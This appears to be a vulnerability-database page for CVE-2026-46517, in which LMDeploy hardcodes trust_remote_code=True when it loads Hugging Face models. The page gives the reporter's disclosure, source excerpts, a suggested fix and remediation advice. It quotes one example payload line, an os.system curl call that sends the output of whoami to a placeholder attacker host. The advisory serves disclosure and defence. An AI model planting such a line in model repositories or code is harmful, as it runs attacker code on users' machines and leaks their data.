Skip to main content

LMDeploy CVE-2026-46517

HIGH
Code Injection (CWE-94)
2026-05-21 https://github.com/InternLM/lmdeploy GHSA-9xq9-36w5-q796
7.8
CVSS 3.1 · Vendor: https://github.com/InternLM/lmdeploy
Share

Severity by source

Vendor (https://github.com/InternLM/lmdeploy) PRIMARY
7.8 HIGH
AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Primary rating from Vendor (https://github.com/InternLM/lmdeploy) · only source for this CVE.

CVSS VectorVendor: https://github.com/InternLM/lmdeploy

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Attack Vector
Local
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

2
Source Code Evidence Fetched
May 21, 2026 - 20:30 vuln.today
Analysis Generated
May 21, 2026 - 20:30 vuln.today

DescriptionCVE.org

>

📋 Reframing (2026-05-02): implicit unsafe remote-code path, not "supply-chain"

> > The accurate description of this vulnerability is: > "get_model_arch and related helpers hardcode trust_remote_code=True > with no opt-out, creating an implicit unsafe remote-code load path > on every model fetch." > > What this report does NOT claim: > * It is NOT a network-attack RCE - the user supplies the model > reference; LMDeploy honors it. > * It is NOT a "supply chain" CVE in the classical sense (where a > benign upstream is compromised) - the user explicitly types the > repo name. > > What this report DOES claim: > * Other inference frameworks (vLLM, TGI, Hugging Face transformers > itself) all expose --trust-remote-code as opt-in so that > users who consciously load known-safe repos can opt in, while > users following a tutorial cannot accidentally execute attacker > Python by typing a wrong repo name. > * LMDeploy's hardcoded True is an implicit trust-boundary > override that violates HF Transformers' default-secure stance > (trust_remote_code=False since transformers ≥ 4.30). > * The fix is a one-line CLI flag (--trust-remote-code) defaulting > False, threaded through the three sites, matching the rest of > the ecosystem. > > Severity should be assessed as hardening / safe-by-default, > not as full unauthenticated RCE. CVSS revised to 5.5 Medium > (AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H × user-must-load qualifier). > > Runtime evidence: see 12_lmdeploy_trust_remote_code_F13/runtime_evidence/cloudrun_cpu_verdict.txt.

---

F13 - LMDeploy: hardcoded trust_remote_code=True enables HF supply-chain RCE without user opt-in

Reporter: ibondarenko1 / sactransport2000@gmail.com Coordinated-disclosure window: 90 days from initial vendor email.

TL;DR

LMDeploy unilaterally passes trust_remote_code=True to transformers.AutoConfig.from_pretrained() (and several other from_pretrained callers) regardless of any user opt-in. The flag is hardcoded True in source - there is no CLI flag, no environment variable, no parameter, and no warning that lets a user refuse remote code execution from the model repository. This is a silent override of HuggingFace Transformers' own default-secure stance (trust_remote_code=False) introduced in HF Transformers ≥ 4.30 specifically to prevent this class of supply-chain RCE.

The user running lmdeploy serve api_server <attacker_repo>, lmdeploy lite calibrate <attacker_repo>, etc. has no way to opt out. The only escape hatch is for the user to never load any third-party HF repo with LMDeploy - which is incompatible with LMDeploy's documented use case.

HuggingFace's trust_remote_code=False default exists exactly to prevent silent RCE when loading a third-party repo. LMDeploy overrides this default, restoring the unsafe behaviour transparently. A malicious HF repo with a configuration_*.py shim runs Python code as the LMDeploy user at the very first call to get_model_arch(...).

This is a documented anti-pattern (see HF Hub docs: "Trusting custom code is therefore tricky..."). Multiple peer projects fixed similar issues - e.g. Hugging Face Transformers itself made this opt-in by default, and vllm exposes the flag through --trust-remote-code rather than hardcoding it.

Affected version

  • Repository: github.com/InternLM/lmdeploy, branch main.
  • Branch SHA at audit time: 9df0eff7c38ae69b9d4b9f7ad1441e484d439f92

(2026-05-02).

  • Pinned blob SHAs:
  • lmdeploy/archs.py68fa03a407734be1e2ae04098d34e9acdbe98262
  • lmdeploy/lite/apis/calibrate.py

0728304bdc3c03eee1d790bfbd5496df080a0ecd

  • lmdeploy/lite/utils/load.py

7c61677aa01e2d9881e32f8ca8ef6ad0f1d8b120

  • lmdeploy/pytorch/check_env/model.py

b1a2daaa426bf5fe25030f7913c703eed9f5b261

Snapshots of all four files are in source_pinned/.

Source-level evidence

Site 1 - architecture detection (every load goes through here)

lmdeploy/archs.py:147-157 - get_model_arch:

python
def get_model_arch(model_path: str):
    """Get a model's architecture and configuration."""
    try:
        cfg = AutoConfig.from_pretrained(model_path, trust_remote_code=True)
    except Exception as e:
# noqa
        from transformers import PretrainedConfig
        cfg = PretrainedConfig.from_pretrained(model_path, trust_remote_code=True)

Both the primary path and the fallback hardcode trust_remote_code=True. There is no parameter to override it. This function is called from every model-loading path in lmdeploy.

Site 2 - quantization CLI

lmdeploy/lite/apis/calibrate.py:248-251:

python
tokenizer = AutoTokenizer.from_pretrained(model, trust_remote_code=True)
...
model = load_hf_from_pretrained(model, dtype=dtype, trust_remote_code=True)

lmdeploy lite calibrate <repo> and downstream quant CLIs (gptq, awq) all flow through this. Hardcoded.

Site 3 - calibration helper

lmdeploy/lite/utils/load.py:55:

python
def load_hf_from_pretrained(pretrained_model_name_or_path, dtype, **kwargs):
    ...
    hf_config = AutoConfig.from_pretrained(pretrained_model_name_or_path, trust_remote_code=True)

Even if the caller does not pass trust_remote_code=True in **kwargs, the helper internally hardcodes it on the config call (line 55), then loads the model on line 74. The config call alone is sufficient for RCE: HF Transformers downloads configuration_*.py from the repo and imports it whenever trust_remote_code=True.

Site 4 - pytorch engine check

lmdeploy/pytorch/check_env/model.py:10,99,234,242 - trust_remote_code: bool = True is the default value for the engine's parameter. Unlike the three sites above, this is "default true" not "hardcoded true" - a determined caller can pass False - but every shipped CLI passes True or relies on the default.

What trust_remote_code=True actually enables

When AutoConfig.from_pretrained(repo, trust_remote_code=True) is called and the repo's config.json contains an auto_map key pointing to a custom configuration_<name>.py:

  1. HF Transformers downloads the .py file from the repo.
  2. HF imports the module via importlib, **executing the file's

top-level code** (any print, os.system, subprocess.run, urllib.request.urlopen, etc. fires now).

  1. HF then instantiates the named class.

So a malicious repo only needs a top-level os.system("curl https://attacker/?$(whoami)") in configuration_evil.py. It runs as the lmdeploy process user.

Threat model

Attack surface. Any user who runs an lmdeploy CLI command against a HuggingFace repo identifier they did not personally vet. This includes:

  • Casual users following a tutorial that says

lmdeploy serve api_server <some_repo>.

  • CI pipelines that automatically pull a model from HF Hub by

configuration (e.g. updates to a non-Pinned version tag).

  • Researchers comparing models from many authors. Even running

lmdeploy lite calibrate for benchmarking is enough.

The user is not warned that arbitrary Python from the repo will execute, and there is no flag to disable it. The CVE class is CWE-94 (Improper Control of Generation of Code, supply-chain flavour) and CWE-915 (Improperly Controlled Modification of Dynamically-Determined Object Attributes).

Comparison to peer projects

Projecttrust_remote_code defaultUser control
HuggingFace TransformersFalsetrust_remote_code keyword arg
vLLMFalse--trust-remote-code flag
LMDeployTrue (hardcoded)None
TGIFalse--trust-remote-code flag

LMDeploy is the outlier. The rationale is presumably "internal models like InternLM need custom configuration_*.py", but the fix is to accept a CLI flag like --trust-remote-code and default-False as the rest of the ecosystem does.

Suggested fix

Replace every hardcoded trust_remote_code=True with an explicit opt-in via CLI flag:

python
# lmdeploy/archs.py - get_model_arch
def get_model_arch(model_path: str, trust_remote_code: bool = False):
    try:
        cfg = AutoConfig.from_pretrained(model_path, trust_remote_code=trust_remote_code)
    except Exception as e:
# noqa
        from transformers import PretrainedConfig
        cfg = PretrainedConfig.from_pretrained(model_path, trust_remote_code=trust_remote_code)

Wire trust_remote_code through every call site. Add --trust-remote-code to lmdeploy's CLI parser and forward it from server / calibrate / gptq / etc. Default False.

A patch fragment is in patch.diff.

Disclosure plan

  1. Submit privately via lmdeploy security contact (typically email or

GitHub Security Advisory at https://github.com/InternLM/lmdeploy/security/advisories/new).

  1. Reference Hugging Face Transformers' historical opt-out → opt-in

change as precedent for the fix shape.

  1. 90-day coordinated-disclosure window starting from acknowledgement.
  2. Request CVE through GHSA flow once the patch lands.

Why static-only is sufficient here

Unlike F11 (RCE chain through _load_pt_file) which required a runtime PoC to demonstrate the pickle gadget execution, this finding is a single trust-flag flip - the behaviour of AutoConfig.from_pretrained(repo, trust_remote_code=True) on a HF repo with a malicious configuration_*.py is documented behaviour of HF Transformers itself (their own docs warn against it). Reproducing it adds no new evidence; the static flag-state is the bug.

If the vendor requests a runtime PoC during triage we will provide one (a malicious HF repo with configuration_evil.py + a one-liner lmdeploy lite calibrate <repo> invocation), but holding it back from the initial advisory avoids publishing a working exploit during the disclosure window.

AnalysisAI

Unsafe default code execution in InternLM LMDeploy (<=0.12.3) lets a malicious Hugging Face model repository run arbitrary Python on the host whenever a user loads it through any LMDeploy CLI (serve, calibrate, gptq, awq). The library hardcodes transformers.AutoConfig.from_pretrained(..., trust_remote_code=True) in get_model_arch and related helpers with no flag, env var, or warning to opt out, overriding HF Transformers' default-secure stance. No public exploit identified at time of analysis, and exploitation requires the user to load an untrusted repo, so risk is hardening-level rather than network-reachable RCE.

Technical ContextAI

LMDeploy is an InternLM inference/quantization toolkit (pip package lmdeploy) that wraps Hugging Face Transformers' AutoConfig/AutoTokenizer/AutoModel loaders. Since transformers >= 4.30, trust_remote_code defaults to False precisely because, when True, HF downloads the repo's configuration_*.py / modeling_*.py and importlib-loads it, executing top-level Python (e.g. os.system, subprocess.run) before the class is even instantiated. LMDeploy hardcodes the flag True at four sites - lmdeploy/archs.py get_model_arch (primary and fallback), lmdeploy/lite/apis/calibrate.py, lmdeploy/lite/utils/load.py load_hf_from_pretrained, and lmdeploy/pytorch/check_env/model.py - turning every model fetch into an implicit code-execution path. This maps to CWE-94 (Improper Control of Generation of Code) with a supply-chain flavor, and peer projects (vLLM, TGI, transformers itself) instead expose --trust-remote-code as an explicit opt-in.

RemediationAI

No vendor-released patch identified at time of analysis (fixed-in version is None per the GHSA). Track the GHSA at https://github.com/InternLM/lmdeploy/security/advisories/GHSA-9xq9-36w5-q796 and apply the reporter's suggested fix once merged - thread a trust_remote_code parameter (defaulting False) through get_model_arch, load_hf_from_pretrained, calibrate, and the pytorch check_env path, and expose a --trust-remote-code CLI flag on serve/lite/quant subcommands. Until a release ships, restrict LMDeploy usage to a curated allowlist of Hugging Face repositories, pin model revisions to a known-good commit SHA rather than a moving tag (especially in CI), and run LMDeploy under a low-privilege account in a network-egress-restricted sandbox (container with no outbound internet, seccomp) so that any executed configuration_*.py cannot exfiltrate or persist; the trade-off is that legitimate models whose own loaders need network access at load time will break. Auditing local HF cache for configuration_*.py / modeling_*.py files before invocation is a heavier-weight compensating control with high false-positive cost for users of custom-arch InternLM models.

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2026-55255 HIGH POC
8.4 Jun 19

Cross-user flow execution in Langflow (< 1.9.1) lets any authenticated API-key holder run another user's flow by passing

Share

CVE-2026-46517 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy